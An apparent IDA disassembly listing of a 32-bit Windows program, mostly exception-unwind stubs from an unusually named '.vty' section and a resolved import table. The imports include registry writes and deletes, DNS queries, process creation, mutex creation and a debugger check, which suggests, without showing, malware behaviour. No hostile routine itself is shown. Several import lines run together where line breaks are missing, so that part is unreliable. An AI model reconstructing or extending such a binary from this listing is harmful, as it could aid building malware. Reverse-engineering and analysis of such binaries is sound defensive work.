loc_41AF37: ; DATA XREF: sub_401B38o sub_40D228o
mov eax, offset dword_420208
jmp sub_41088F
; ---------------------------------------------------------------------------
mov eax, [ebp-10h]
and eax, 1
jz locret_41AF59
and dword ptr [ebp-10h], 0FFFFFFFEh
mov ecx, [ebp+8]
jmp loc_4033BE
; ---------------------------------------------------------------------------
locret_41AF59: ; CODE XREF: .vty:0041AF47j
retn
; ---------------------------------------------------------------------------
loc_41AF5A: ; DATA XREF: sub_409441o sub_40D2A0o
mov eax, offset dword_420234
jmp sub_41088F
; ---------------------------------------------------------------------------
loc_41AF64: ; DATA XREF: sub_40CB4Bo
mov eax, offset dword_42028C
jmp sub_41088F
; ---------------------------------------------------------------------------
loc_41AF6E: ; DATA XREF: sub_40CA70o
mov eax, offset dword_4202E4
jmp sub_41088F
; ---------------------------------------------------------------------------
lea ecx, [ebp-30h]
jmp loc_4033BE
; ---------------------------------------------------------------------------
loc_41AF80: ; DATA XREF: sub_40B3C2o
mov eax, offset dword_420344
jmp sub_41088F
; ---------------------------------------------------------------------------
loc_41AF8A: ; DATA XREF: sub_40B35Eo
mov eax, offset dword_42039C
jmp sub_41088F
; ---------------------------------------------------------------------------
loc_41AF94: ; DATA XREF: sub_40B28Fo
mov eax, offset dword_4203F4
jmp sub_41088F
; ---------------------------------------------------------------------------
lea ecx, [ebp-2Ch]
jmp loc_4033BE
; ---------------------------------------------------------------------------
loc_41AFA6: ; DATA XREF: sub_401F07o sub_402979o ...
mov eax, offset dword_420420
jmp sub_41088F
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp loc_4033BE
; ---------------------------------------------------------------------------
loc_41AFB8: ; DATA XREF: .vty:00420450o
lea ecx, [ebp-74h]
jmp loc_4033BE
; ---------------------------------------------------------------------------
loc_41AFC0: ; DATA XREF: .vty:00420458o
lea esi, [ebp-74h]
jmp sub_4072AA
; ---------------------------------------------------------------------------
loc_41AFC8: ; DATA XREF: sub_4095C0o
mov eax, offset dword_42045C
jmp sub_41088F
; ---------------------------------------------------------------------------
lea ecx, [ebp-38h]
jmp loc_4033BE
; ---------------------------------------------------------------------------
loc_41AFDA: ; DATA XREF: sub_409358o
mov eax, offset dword_420488
jmp sub_41088F
; ---------------------------------------------------------------------------
loc_41AFE4: ; DATA XREF: sub_4072C2o
mov eax, offset dword_4204E0
jmp sub_41088F
; ---------------------------------------------------------------------------
loc_41AFEE: ; DATA XREF: .vty:00420510o
jmp locret_401868
; ---------------------------------------------------------------------------
loc_41AFF3: ; DATA XREF: sub_406F3Co
mov eax, offset dword_420540
jmp sub_41088F
; ---------------------------------------------------------------------------
loc_41AFFD: ; DATA XREF: sub_406694o
mov eax, offset dword_420598
jmp sub_41088F
; ---------------------------------------------------------------------------
lea ecx, [ebp+8]
jmp loc_4033BE
; =============== S U B R O U T I N E =======================================
sub_41B00F proc near ; CODE XREF: sub_404B2B+BAp
; DATA XREF: sub_404B2B+4o
mov eax, offset dword_4205C4
jmp sub_41088F
sub_41B00F endp
; ---------------------------------------------------------------------------
lea ecx, [ebp-38h]
jmp loc_4033BE
; ---------------------------------------------------------------------------
loc_41B021: ; DATA XREF: .vty:004205F4o
lea ecx, [ebp-54h]
jmp loc_4033BE
; ---------------------------------------------------------------------------
loc_41B029: ; DATA XREF: sub_402E64o
mov eax, offset dword_4205F8
jmp sub_41088F
; ---------------------------------------------------------------------------
push dword ptr [ebp-1Ch]
call sub_40DD8A
pop ecx
retn
; ---------------------------------------------------------------------------
loc_41B03D: ; DATA XREF: .vty:00420628o
mov ecx, [ebp-1Ch]
jmp loc_40244B
; ---------------------------------------------------------------------------
loc_41B045: ; DATA XREF: sub_402AA0o
mov eax, offset dword_42062C
jmp sub_41088F
; ---------------------------------------------------------------------------
mov ecx, [ebp+8]
add ecx, 4
jmp loc_4033BE
; ---------------------------------------------------------------------------
loc_41B05A: ; DATA XREF: .vty:0042065Co
mov ecx, [ebp+8]
add ecx, 20h
jmp loc_4033BE
; ---------------------------------------------------------------------------
mov ecx, [ebp+8]
add ecx, 3Ch
jmp loc_4033BE
; ---------------------------------------------------------------------------
mov ecx, [ebp+8]
add ecx, 58h
jmp loc_4033BE
; ---------------------------------------------------------------------------
mov esi, [ebp+8]
add esi, 7Ch
jmp sub_405809
; ---------------------------------------------------------------------------
mov eax, [ebp+8]
add eax, 8Ch
jmp sub_40558B
; ---------------------------------------------------------------------------
mov eax, [ebp+8]
add eax, 98h
jmp sub_40558B
; ---------------------------------------------------------------------------
mov esi, [ebp+8]
add esi, 0A4h
jmp loc_4056B7
; ---------------------------------------------------------------------------
mov esi, [ebp+8]
add esi, 0D0h
jmp loc_40B63D
; ---------------------------------------------------------------------------
loc_41B0BC: ; DATA XREF: sub_402509o
mov eax, offset dword_420698
jmp sub_41088F
; ---------------------------------------------------------------------------
mov eax, dword_424E54
and eax, 0FFFFFFFEh
mov dword_424E54, eax
retn
; ---------------------------------------------------------------------------
loc_41B0D4: ; DATA XREF: sub_4024A7o
mov eax, offset dword_4206C4
jmp sub_41088F
; ---------------------------------------------------------------------------
lea ecx, [ebp-830h]
jmp loc_401A40
; ---------------------------------------------------------------------------
loc_41B0E9: ; DATA XREF: sub_401989+Eo
mov eax, offset dword_4206F0
jmp sub_41088F
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp loc_4033BE
; ---------------------------------------------------------------------------
loc_41B0FB: ; DATA XREF: sub_40D355o
mov eax, offset dword_42071C
jmp sub_41088F
; ---------------------------------------------------------------------------
lea ecx, [ebp-28h]
jmp loc_4033BE
; ---------------------------------------------------------------------------
loc_41B10D: ; DATA XREF: sub_401A4Do sub_4093C0o ...
mov eax, offset dword_420748
jmp sub_41088F
; ---------------------------------------------------------------------------
loc_41B117: ; DATA XREF: sub_40C844o
mov eax, offset dword_4207D4
jmp sub_41088F
; ---------------------------------------------------------------------------
lea esi, [ebp-78h]
jmp sub_407598
; ---------------------------------------------------------------------------
loc_41B129: ; DATA XREF: sub_40C3E5o
mov eax, offset dword_420868
jmp sub_41088F
; ---------------------------------------------------------------------------
lea ecx, [ebp-2Ch]
jmp loc_4033BE
; ---------------------------------------------------------------------------
loc_41B13B: ; DATA XREF: sub_40A246o
mov eax, offset dword_4208FC
jmp sub_41088F
; ---------------------------------------------------------------------------
lea esi, [ebp-4Ch]
jmp sub_4072AA
; ---------------------------------------------------------------------------
loc_41B14D: ; DATA XREF: sub_409E2Ao
mov eax, offset dword_420990
jmp sub_41088F
; ---------------------------------------------------------------------------
mov eax, [ebp-14h]
and eax, 1
jz locret_41B16F
and dword ptr [ebp-14h], 0FFFFFFFEh
mov ecx, [ebp+8]
jmp loc_4033BE
; ---------------------------------------------------------------------------
locret_41B16F: ; CODE XREF: .vty:0041B15Dj
retn
; ---------------------------------------------------------------------------
loc_41B170: ; DATA XREF: .vty:004209C0o
lea ecx, [ebp-78h]
jmp loc_4033BE
; ---------------------------------------------------------------------------
loc_41B178: ; DATA XREF: .vty:004209C8o
lea ecx, [ebp-54h]
jmp loc_4033BE
; ---------------------------------------------------------------------------
lea esi, [ebp-24h]
jmp loc_4056B7
; ---------------------------------------------------------------------------
lea ecx, [ebp-78h]
jmp loc_4033BE
; ---------------------------------------------------------------------------
mov eax, [ebp-14h]
and eax, 2
jz locret_41B1A8
and dword ptr [ebp-14h], 0FFFFFFFDh
lea ecx, [ebp-78h]
jmp loc_4033BE
; ---------------------------------------------------------------------------
locret_41B1A8: ; CODE XREF: .vty:0041B196j
retn
; ---------------------------------------------------------------------------
loc_41B1A9: ; DATA XREF: .vty:004209E8o
lea ecx, [ebp-78h]
jmp loc_4033BE
; ---------------------------------------------------------------------------
loc_41B1B1: ; DATA XREF: sub_4089E6o
mov eax, offset dword_4209EC
jmp sub_41088F
; ---------------------------------------------------------------------------
lea eax, [ebp-74h]
jmp sub_40CCB1
; ---------------------------------------------------------------------------
lea ecx, [ebp-38h]
jmp loc_4033BE
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp loc_4033BE
; ---------------------------------------------------------------------------
lea ecx, [ebp-38h]
jmp loc_4033BE
; ---------------------------------------------------------------------------
loc_41B1DB: ; DATA XREF: sub_407E77o
mov eax, offset dword_420A30
jmp sub_41088F
; ---------------------------------------------------------------------------
lea eax, [ebp-74h]
jmp sub_40CCB1
; ---------------------------------------------------------------------------
loc_41B1ED: ; DATA XREF: .vty:00420A60o
lea ecx, [ebp-54h]
jmp loc_4033BE
; ---------------------------------------------------------------------------
lea ecx, [ebp-38h]
jmp loc_4033BE
; ---------------------------------------------------------------------------
loc_41B1FD: ; DATA XREF: sub_407949o
mov eax, offset dword_420A6C
jmp sub_41088F
; ---------------------------------------------------------------------------
loc_41B207: ; DATA XREF: sub_4075BCo
mov eax, offset dword_420AC4
jmp sub_41088F
; ---------------------------------------------------------------------------
loc_41B211: ; DATA XREF: sub_407141o
mov eax, offset dword_420B1C
jmp sub_41088F
; ---------------------------------------------------------------------------
loc_41B21B: ; DATA XREF: sub_40674Eo
mov eax, offset dword_420B74
jmp sub_41088F
; ---------------------------------------------------------------------------
mov esi, [ebp+8]
jmp loc_405AD1
; ---------------------------------------------------------------------------
loc_41B22D: ; DATA XREF: .vty:00420BA4o
mov esi, [ebp+8]
add esi, 10h
jmp loc_405AD6
; ---------------------------------------------------------------------------
mov ecx, [ebp+8]
add ecx, 20h
jmp loc_4033BE
; ---------------------------------------------------------------------------
mov ecx, [ebp+8]
add ecx, 3Ch
jmp loc_4033BE
; ---------------------------------------------------------------------------
loc_41B24E: ; DATA XREF: sub_4065C8o
mov eax, offset dword_420BB8
jmp sub_41088F
; ---------------------------------------------------------------------------
lea eax, [ebp-6Ch]
jmp sub_40CCB1
; ---------------------------------------------------------------------------
loc_41B260: ; DATA XREF: .vty:00420BE8o
lea ecx, [ebp-4Ch]
jmp loc_4033BE
; ---------------------------------------------------------------------------
lea ecx, [ebp-30h]
jmp loc_4033BE
; ---------------------------------------------------------------------------
loc_41B270: ; DATA XREF: sub_403C76o
mov eax, offset dword_420BF4
jmp sub_41088F
; ---------------------------------------------------------------------------
lea ecx, [ebp-28h]
jmp loc_4033BE
; ---------------------------------------------------------------------------
loc_41B282: ; DATA XREF: .vty:00420C24o
lea ecx, [ebp-44h]
jmp loc_4033BE
; ---------------------------------------------------------------------------
loc_41B28A: ; DATA XREF: sub_403B47o
mov eax, offset dword_420C28
jmp sub_41088F
; ---------------------------------------------------------------------------
lea eax, [ebp-6Ch]
jmp sub_40CCB1
; ---------------------------------------------------------------------------
loc_41B29C: ; DATA XREF: .vty:00420C58o
lea ecx, [ebp-30h]
jmp loc_4033BE
; ---------------------------------------------------------------------------
lea ecx, [ebp-4Ch]
jmp loc_4033BE
; ---------------------------------------------------------------------------
loc_41B2AC: ; DATA XREF: sub_40399Bo
mov eax, offset dword_420C64
jmp sub_41088F
; ---------------------------------------------------------------------------
lea ecx, [ebp-48h]
jmp loc_4033BE
; ---------------------------------------------------------------------------
loc_41B2BE: ; DATA XREF: sub_402BCFo sub_403151+Eo
mov eax, offset dword_420C90
jmp sub_41088F
; ---------------------------------------------------------------------------
lea ecx, [ebp-28h]
jmp loc_4033BE
; ---------------------------------------------------------------------------
lea ecx, [ebp-28h]
jmp loc_4033BE
; ---------------------------------------------------------------------------
loc_41B2D8: ; DATA XREF: sub_40C028o
mov eax, offset dword_420CC4
jmp sub_41088F
; ---------------------------------------------------------------------------
push dword ptr [ebp-18h]
call sub_40DD8A
pop ecx
retn
; ---------------------------------------------------------------------------
lea ecx, [ebp-98h]
jmp loc_4033BE
; ---------------------------------------------------------------------------
lea ecx, [ebp-58h]
jmp loc_4033BE
; ---------------------------------------------------------------------------
lea esi, [ebp-58h]
jmp loc_406BF3
; ---------------------------------------------------------------------------
lea esi, [ebp-7Ch]
jmp sub_407598
; ---------------------------------------------------------------------------
lea ecx, [ebp-0BCh]
jmp loc_4033BE
; ---------------------------------------------------------------------------
loc_41B31A: ; DATA XREF: sub_40BDCDo
mov eax, offset dword_420D18
jmp sub_41088F
; ---------------------------------------------------------------------------
lea esi, [ebp-3Ch]
jmp loc_4056B7
; ---------------------------------------------------------------------------
loc_41B32C: ; DATA XREF: .vty:00420D48o
lea ecx, [ebp-2Ch]
jmp loc_4033BE
; =============== S U B R O U T I N E =======================================
SEH_40B49B proc near ; DATA XREF: sub_40B49B+8o
mov eax, offset dword_420D4C
jmp sub_41088F
SEH_40B49B endp
; ---------------------------------------------------------------------------
loc_41B33E: ; DATA XREF: sub_40B2EFo
mov eax, offset dword_420DA4
jmp sub_41088F
; ---------------------------------------------------------------------------
loc_41B348: ; DATA XREF: .vty:00420DD4o
jmp locret_401868
; ---------------------------------------------------------------------------
loc_41B34D: ; DATA XREF: sub_40A86Co
mov eax, offset dword_420E04
jmp sub_41088F
; ---------------------------------------------------------------------------
lea eax, [ebp-28h]
jmp loc_4089C0
; ---------------------------------------------------------------------------
loc_41B35F: ; DATA XREF: .vty:00420E34o
lea eax, [ebp-34h]
jmp loc_4089C8
; ---------------------------------------------------------------------------
lea ecx, [ebp-50h]
jmp loc_4033BE
; ---------------------------------------------------------------------------
lea ecx, [ebp-50h]
jmp loc_4033BE
; ---------------------------------------------------------------------------
lea ecx, [ebp-50h]
jmp loc_4033BE
; ---------------------------------------------------------------------------
lea ecx, [ebp-50h]
jmp loc_4033BE
; ---------------------------------------------------------------------------
lea esi, [ebp-44h]
jmp loc_4056B7
; ---------------------------------------------------------------------------
lea ecx, [ebp-0A8h]
jmp loc_4033BE
; ---------------------------------------------------------------------------
lea edi, [ebp-0A8h]
jmp loc_4089D0
; ---------------------------------------------------------------------------
lea ecx, [ebp-7Ch]
jmp loc_4033BE
; ---------------------------------------------------------------------------
lea ecx, [ebp-7Ch]
jmp loc_4033BE
; ---------------------------------------------------------------------------
lea ecx, [ebp-50h]
jmp loc_4033BE
; ---------------------------------------------------------------------------
lea ecx, [ebp-50h]
jmp loc_4033BE
; ---------------------------------------------------------------------------
lea ecx, [ebp-7Ch]
jmp loc_4033BE
; ---------------------------------------------------------------------------
loc_41B3CD: ; DATA XREF: sub_408593o
mov eax, offset dword_420E98
jmp sub_41088F
; ---------------------------------------------------------------------------
loc_41B3D7: ; DATA XREF: sub_407454o
mov eax, offset dword_420EF0
jmp sub_41088F
; ---------------------------------------------------------------------------
jmp locret_401868
; ---------------------------------------------------------------------------
loc_41B3E6: ; DATA XREF: sub_406F12o sub_407365o ...
mov eax, offset dword_420F1C
jmp sub_41088F
; ---------------------------------------------------------------------------
loc_41B3F0: ; DATA XREF: sub_406C3Bo
mov eax, offset dword_420F74
jmp sub_41088F
; ---------------------------------------------------------------------------
lea ecx, [ebp-34h]
jmp loc_4033BE
; ---------------------------------------------------------------------------
loc_41B402: ; DATA XREF: .vty:00420FA4o
lea ecx, [ebp-70h]
jmp loc_4033BE
; ---------------------------------------------------------------------------
lea ecx, [ebp-50h]
jmp loc_4033BE
; ---------------------------------------------------------------------------
lea ecx, [ebp-8Ch]
jmp loc_4033BE
; ---------------------------------------------------------------------------
lea ecx, [ebp-0D0h]
jmp loc_4033BE
; ---------------------------------------------------------------------------
loc_41B428: ; DATA XREF: sub_403E41o
mov eax, offset dword_420FC0
jmp sub_41088F
; ---------------------------------------------------------------------------
lea ecx, [ebp-148h]
jmp loc_4033BE
; ---------------------------------------------------------------------------
loc_41B43D: ; DATA XREF: .vty:00420FF0o
lea ecx, [ebp-12Ch]
jmp loc_4033BE
; =============== S U B R O U T I N E =======================================
SEH_402F64 proc near ; DATA XREF: sub_402F64+8o
mov eax, offset dword_420FF4
jmp sub_41088F
SEH_402F64 endp
; ---------------------------------------------------------------------------
lea ecx, [ebp-28h]
jmp loc_4033BE
; ---------------------------------------------------------------------------
push dword ptr [ebp-48h]
call sub_40DD8A
pop ecx
retn
; ---------------------------------------------------------------------------
mov esi, [ebp-48h]
add esi, 1Ch
jmp loc_4056B7
; ---------------------------------------------------------------------------
loc_41B46F: ; DATA XREF: sub_40C10Eo
mov eax, offset dword_421030
jmp sub_41088F
; ---------------------------------------------------------------------------
lea ecx, [ebp-80h]
jmp loc_4033BE
; ---------------------------------------------------------------------------
lea ecx, [ebp-64h]
jmp loc_4033BE
; ---------------------------------------------------------------------------
lea ecx, [ebp-64h]
jmp loc_4033BE
; ---------------------------------------------------------------------------
lea ecx, [ebp-64h]
jmp loc_4033BE
; ---------------------------------------------------------------------------
lea esi, [ebp-90h]
jmp loc_4056B7
; ---------------------------------------------------------------------------
lea ecx, [ebp-48h]
jmp loc_4033BE
; ---------------------------------------------------------------------------
loc_41B4AC: ; DATA XREF: sub_40BB2D+Eo
mov eax, offset dword_421084
jmp sub_41088F
; ---------------------------------------------------------------------------
lea ecx, [ebp-28h]
jmp loc_4033BE
; ---------------------------------------------------------------------------
lea ecx, [ebp-60h]
jmp loc_4033BE
; ---------------------------------------------------------------------------
loc_41B4C6: ; DATA XREF: sub_40BA6Eo
mov eax, offset dword_4210B8
jmp sub_41088F
; ---------------------------------------------------------------------------
lea esi, [ebp-74h]
jmp loc_407B2B
; ---------------------------------------------------------------------------
loc_41B4D8: ; DATA XREF: sub_40B7A2o
mov eax, offset dword_4210E4
jmp sub_41088F
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp loc_4033BE
; ---------------------------------------------------------------------------
lea ecx, [ebp-58h]
jmp loc_4033BE
; ---------------------------------------------------------------------------
lea ecx, [ebp-74h]
jmp loc_4033BE
; ---------------------------------------------------------------------------
loc_41B4FA: ; DATA XREF: sub_40B642o
mov eax, offset dword_421120
jmp sub_41088F
; ---------------------------------------------------------------------------
lea edi, [ebp-40h]
jmp loc_4089D0
; ---------------------------------------------------------------------------
loc_41B50C: ; DATA XREF: sub_40A022o
mov eax, offset dword_4211B4
jmp sub_41088F
; ---------------------------------------------------------------------------
lea ecx, [ebp-30h]
jmp loc_4033BE
; ---------------------------------------------------------------------------
loc_41B51E: ; DATA XREF: .vty:004211E4o
lea ecx, [ebp-70h]
jmp loc_4033BE
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp loc_4033BE
; ---------------------------------------------------------------------------
lea ecx, [ebp-94h]
jmp loc_4033BE
; ---------------------------------------------------------------------------
lea ecx, [ebp-0DCh]
jmp loc_4033BE
; ---------------------------------------------------------------------------
lea esi, [ebp-0DCh]
jmp sub_4072AA
; ---------------------------------------------------------------------------
lea ecx, [ebp-94h]
jmp loc_4033BE
; ---------------------------------------------------------------------------
lea esi, [ebp-48h]
jmp loc_4056B7
; ---------------------------------------------------------------------------
lea ecx, [ebp-0A4h]
jmp loc_4033BE
; ---------------------------------------------------------------------------
lea edi, [ebp-0A4h]
jmp loc_4089D0
; ---------------------------------------------------------------------------
loc_41B578: ; DATA XREF: sub_4081BFo
mov eax, offset dword_421228
jmp sub_41088F
; ---------------------------------------------------------------------------
lea esi, [ebp-74h]
jmp loc_407B2B
; ---------------------------------------------------------------------------
loc_41B58A: ; DATA XREF: .vty:00421258o
lea ecx, [ebp-2Ch]
jmp loc_4033BE
; ---------------------------------------------------------------------------
lea ecx, [ebp-48h]
jmp loc_4033BE
; ---------------------------------------------------------------------------
lea ecx, [ebp-64h]
jmp loc_4033BE
; =============== S U B R O U T I N E =======================================
SEH_407C9A proc near ; DATA XREF: sub_407784+8o
; sub_407C9A+8o
mov eax, offset dword_42126C
jmp sub_41088F
SEH_407C9A endp
; ---------------------------------------------------------------------------
loc_41B5AC: ; DATA XREF: sub_40765Fo
mov eax, offset dword_4212C4
jmp sub_41088F
; ---------------------------------------------------------------------------
lea edi, [ebp-90h]
jmp sub_405989
; ---------------------------------------------------------------------------
loc_41B5C1: ; DATA XREF: sub_405FB0o
mov eax, offset dword_421358
jmp sub_41088F
; ---------------------------------------------------------------------------
lea edi, [ebp+8]
jmp sub_405989
; ---------------------------------------------------------------------------
loc_41B5D3: ; DATA XREF: sub_405ADBo
mov eax, offset dword_421384
jmp sub_41088F
; ---------------------------------------------------------------------------
mov esi, [ebp-10h]
jmp loc_405AD1
; ---------------------------------------------------------------------------
loc_41B5E5: ; DATA XREF: .vty:004213B4o
mov esi, [ebp-10h]
add esi, 10h
jmp loc_405AD6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 20h
jmp loc_4033BE
; ---------------------------------------------------------------------------
loc_41B5FB: ; DATA XREF: sub_40583Bo
mov eax, offset dword_4213C0
jmp sub_41088F
; ---------------------------------------------------------------------------
lea ecx, [ebp-34h]
jmp loc_4033BE
; =============== S U B R O U T I N E =======================================
sub_41B60D proc near ; CODE XREF: sub_411F7A+21p
; sub_411F7A+50p
; DATA XREF: ...
mov eax, offset dword_4213EC
jmp sub_41088F
sub_41B60D endp
; ---------------------------------------------------------------------------
lea ecx, [ebp-28h]
jmp loc_4033BE
; ---------------------------------------------------------------------------
lea ecx, [ebp-44h]
jmp loc_4033BE
; ---------------------------------------------------------------------------
loc_41B627: ; DATA XREF: sub_40376Eo
mov eax, offset dword_421420
jmp sub_41088F
; ---------------------------------------------------------------------------
lea ecx, [ebp-30h]
jmp loc_4033BE
; =============== S U B R O U T I N E =======================================
SEH_4033DA proc near ; DATA XREF: sub_4033DA+8o sub_4048E7o
mov eax, offset dword_42144C
jmp sub_41088F
SEH_4033DA endp
; ---------------------------------------------------------------------------
lea ecx, [ebp-60h]
jmp loc_4033BE
; ---------------------------------------------------------------------------
lea ecx, [ebp-7Ch]
jmp loc_4033BE
; ---------------------------------------------------------------------------
lea ecx, [ebp-7Ch]
jmp loc_4033BE
; ---------------------------------------------------------------------------
loc_41B65B: ; DATA XREF: sub_405089o
mov eax, offset dword_4214BC
jmp sub_41088F
; ---------------------------------------------------------------------------
lea edi, [ebp-134h]
jmp sub_40260A
; ---------------------------------------------------------------------------
loc_41B670: ; DATA XREF: sub_402E1Fo
mov eax, offset dword_4214E8
jmp sub_41088F
; ---------------------------------------------------------------------------
loc_41B67A: ; DATA XREF: sub_401156+34o
push 0
push 1
mov ecx, offset dword_424E84
call sub_4013C4
retn
; ---------------------------------------------------------------------------
loc_41B689: ; DATA XREF: sub_4024A7+47o
push esi
mov esi, offset dword_424E70
call sub_401CE8
push dword_424E74
call sub_40DD8A
and dword_424E74, 0
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41B6A9: ; DATA XREF: sub_40DE68+40o
mov dword_424384, offset off_41C290
mov ecx, offset dword_424384
jmp sub_40D931
; ---------------------------------------------------------------------------
align 10h
dd 250h dup(0)
dword_41C000 dd 77DD6BF0h ; resolved to->ADVAPI32.RegCloseKey ; sub_4010E1+64r ...
dword_41C004 dd 77DDEDE5h ; resolved to->ADVAPI32.RegDeleteValueA ; sub_4048E7+75r
dword_41C008 dd 77DD761Bh ; resolved to->ADVAPI32.RegOpenKeyExA ; sub_404B2B+18Er
dword_41C00C dd 77DDEAF4h ; resolved to->ADVAPI32.RegCreateKeyExA ; sub_4047AC+4Ar ...
dword_41C010 dd 77DD7883h ; resolved to->ADVAPI32.RegQueryValueExA ; sub_404B2B+332r
dword_41C014 dd 77DDEBE7h ; resolved to->ADVAPI32.RegSetValueExA ; sub_4047AC+93r ...
dd 0
dword_41C01C dd 76F25B4Dh ; resolved to->DNSAPI.DnsRecordListFreedword_41C020 dd 76F36C5Bh ; resolved to->DNSAPI.DnsQuery_A align 8
dword_41C028 dd 7C81B18Fh ; resolved to->KERNEL32.GetConsoleOutputCPdword_41C02C dd 7C835484h ; resolved to->KERNEL32.WriteConsoleWdword_41C030 dd 7C81CF25h ; resolved to->KERNEL32.WriteConsoleAdword_41C034 dd 7C801A24h ; resolved to->KERNEL32.CreateFileA ; sub_41ACB3+13r
dword_41C038 dd 7C80D262h ; resolved to->KERNEL32.GetLocaleInfoAdword_41C03C dd 7C80A490h ; resolved to->KERNEL32.GetStringTypeW ; sub_41844E+11Cr
dword_41C040 dd 7C838A0Ch ; resolved to->KERNEL32.GetStringTypeAdword_41C044 dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryAdword_41C048 dd 7C810B8Eh ; resolved to->KERNEL32.SetFilePointer ; sub_41AB51+2Dr
dword_41C04C dd 7C9179FDh ; resolved to->NTDLL.RtlReAllocateHeap ; sub_417E83+134r ...
dword_41C050 dd 7C809A51h ; resolved to->KERNEL32.VirtualAlloc ; sub_41720E+52r
dword_41C054 dd 7C8310F2h ; resolved to->KERNEL32.GlobalMemoryStatusdword_41C058 dd 7C80929Ch ; resolved to->KERNEL32.GetTickCount ; sub_415C79+51r
dword_41C05C dd 7C83039Bh ; resolved to->KERNEL32.GetDiskFreeSpaceExAdword_41C060 dd 7C80176Bh ; resolved to->KERNEL32.GetSystemTimedword_41C064 dd 7C82F7A0h ; resolved to->KERNEL32.FormatMessageAdword_41C068 dd 7C809EF1h ; resolved to->KERNEL32.InitializeCriticalSection ; sub_402509+90r ...
dword_41C06C dd 7C9010EDh ; resolved to->NTDLL.RtlLeaveCriticalSection ; sub_401B38+CDr ...
dword_41C070 dd 7C901005h ; resolved to->NTDLL.RtlEnterCriticalSection ; sub_401B38+27r ...
dword_41C074 dd 7C80992Fh ; resolved to->KERNEL32.LocalFreedword_41C078 dd 7C81DC03h ; resolved to->KERNEL32.SetStdHandle ; sub_419D84:loc_419DDCr
dword_41C07C dd 7C80BE89h ; resolved to->KERNEL32.FindResourceAdword_41C080 dd 7C809FB5h ; resolved to->KERNEL32.LoadResourcedword_41C084 dd 7C802520h ; resolved to->KERNEL32.WaitForSingleObject ; sub_40376E+10Dr ...
dword_41C088 dd 7C80A017h ; resolved to->KERNEL32.SetEvent ; sub_403151+241r ...
dword_41C08C dd 7C821363h ; resolved to->KERNEL32.GetWindowsDirectoryA ; sub_4047AC+20r ...
dword_41C090 dd 7C802442h ; resolved to->KERNEL32.Sleep ; .vty:00403929r ...
dword_41C094 dd 7C80BC69h ; resolved to->KERNEL32.SizeofResourcedword_41C098 dd 7C8308ADh ; resolved to->KERNEL32.CreateEventAdword_41C09C dd 7C802367h ; resolved to->KERNEL32.CreateProcessAdword_41C0A0 dd 7C801EEEh ; resolved to->KERNEL32.GetStartupInfoA ; sub_4107B2-1CCr ...
dword_41C0A4 dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Error ; sub_403E41+100r ...
dword_41C0A8 dd 7C80BAA1h ; resolved to->KERNEL32.lstrcmpiA ; sub_404B2B+3F7r
dword_41C0AC dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddress ; sub_411D53+49r ...
dword_41C0B0 dd 7C812782h ; resolved to->KERNEL32.SetFileAttributesAdword_41C0B4 dd 7C80A03Bh ; resolved to->KERNEL32.ResetEvent ; sub_403151+24Dr
dword_41C0B8 dd 7C80CC97h ; resolved to->KERNEL32.SetHandleCountdword_41C0BC dd 7C812D56h ; resolved to->KERNEL32.GetSystemInfodword_41C0C0 dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameA ; sub_41422C+99r ...
dword_41C0C4 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleA ; sub_411D53+39r ...
dword_41C0C8 dd 7C80E93Fh ; resolved to->KERNEL32.CreateMutexAdword_41C0CC dd 7C91188Ah ; resolved to->NTDLL.RtlDeleteCriticalSection ; sub_416C79+1r ...
dword_41C0D0 dd 7C812ADEh ; resolved to->KERNEL32.GetVersionExA ; sub_4107B2-192r
dword_41C0D4 dd 7C809B47h ; resolved to->KERNEL32.CloseHandle ; sub_4033DA+D5r ...
dword_41C0D8 dd 7C8350BFh ; resolved to->KERNEL32.GetTimeZoneInformationdword_41C0DC dd 7C80A7D4h ; resolved to->KERNEL32.GetLocalTimedword_41C0E0 dd 7C83632Dh ; resolved to->KERNEL32.GetTimeFormatAdword_41C0E4 dd 7C8361EEh ; resolved to->KERNEL32.GetDateFormatAdword_41C0E8 dd 7C809920h ; resolved to->KERNEL32.GetCurrentProcessIddword_41C0EC dd 7C80A427h ; resolved to->KERNEL32.QueryPerformanceCounterdword_41C0F0 dd 7C809AE4h ; resolved to->KERNEL32.VirtualFreedword_41C0F4 dd 7C812641h ; resolved to->KERNEL32.FlushFileBuffersdword_41C0F8 dd 7C832044h ; resolved to->KERNEL32.SetEndOfFiledword_41C0FC dd 7C80180Eh ; resolved to->KERNEL32.ReadFile ; sub_41A5AF+2A3r ...
dword_41C100 dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcess ; sub_40460B+19Ar ...
dword_41C104 dd 7C801E16h ; resolved to->KERNEL32.TerminateProcess ; sub_416B2C+FCr
dword_41C108 dd 7C80DDF5h ; resolved to->KERNEL32.GetCurrentProcess ; sub_416B2C+F5r
dword_41C10C dd 7C862E2Ah ; resolved to->KERNEL32.UnhandledExceptionFilter ; sub_41411B+E5r ...
dword_41C110 dd 7C84467Dh ; resolved to->KERNEL32.SetUnhandledExceptionFilter ; sub_41411B+DBr ...
dword_41C114 dd 7C813093h ; resolved to->KERNEL32.IsDebuggerPresent ; sub_416B2C+B9r
dword_41C118 dd 7C8017E5h ; resolved to->KERNEL32.GetSystemTimeAsFileTime ; sub_415C79+35r
dword_41C11C dd 7C80C058h ; resolved to->KERNEL32.ExitThread ; .vty:0041046Fr
dword_41C120 dd 7C809728h ; resolved to->KERNEL32.GetCurrentThreadId ; sub_411F7A+60r ...
dword_41C124 dd 7C810637h ; resolved to->KERNEL32.CreateThreaddword_41C128 dd 7C812F1Dh ; resolved to->KERNEL32.GetCommandLineAdword_41C12C dd 7C91043Dh ; resolved to->NTDLL.RtlFreeHeap ; sub_4107B2-159r ...
dword_41C130 dd 7C9105D4h ; resolved to->NTDLL.RtlAllocateHeap ; sub_411069+Fr ...
dword_41C134 dd 7C80ABC1h ; resolved to->KERNEL32.GetProcessHeap ; sub_41A3FB+67r ...
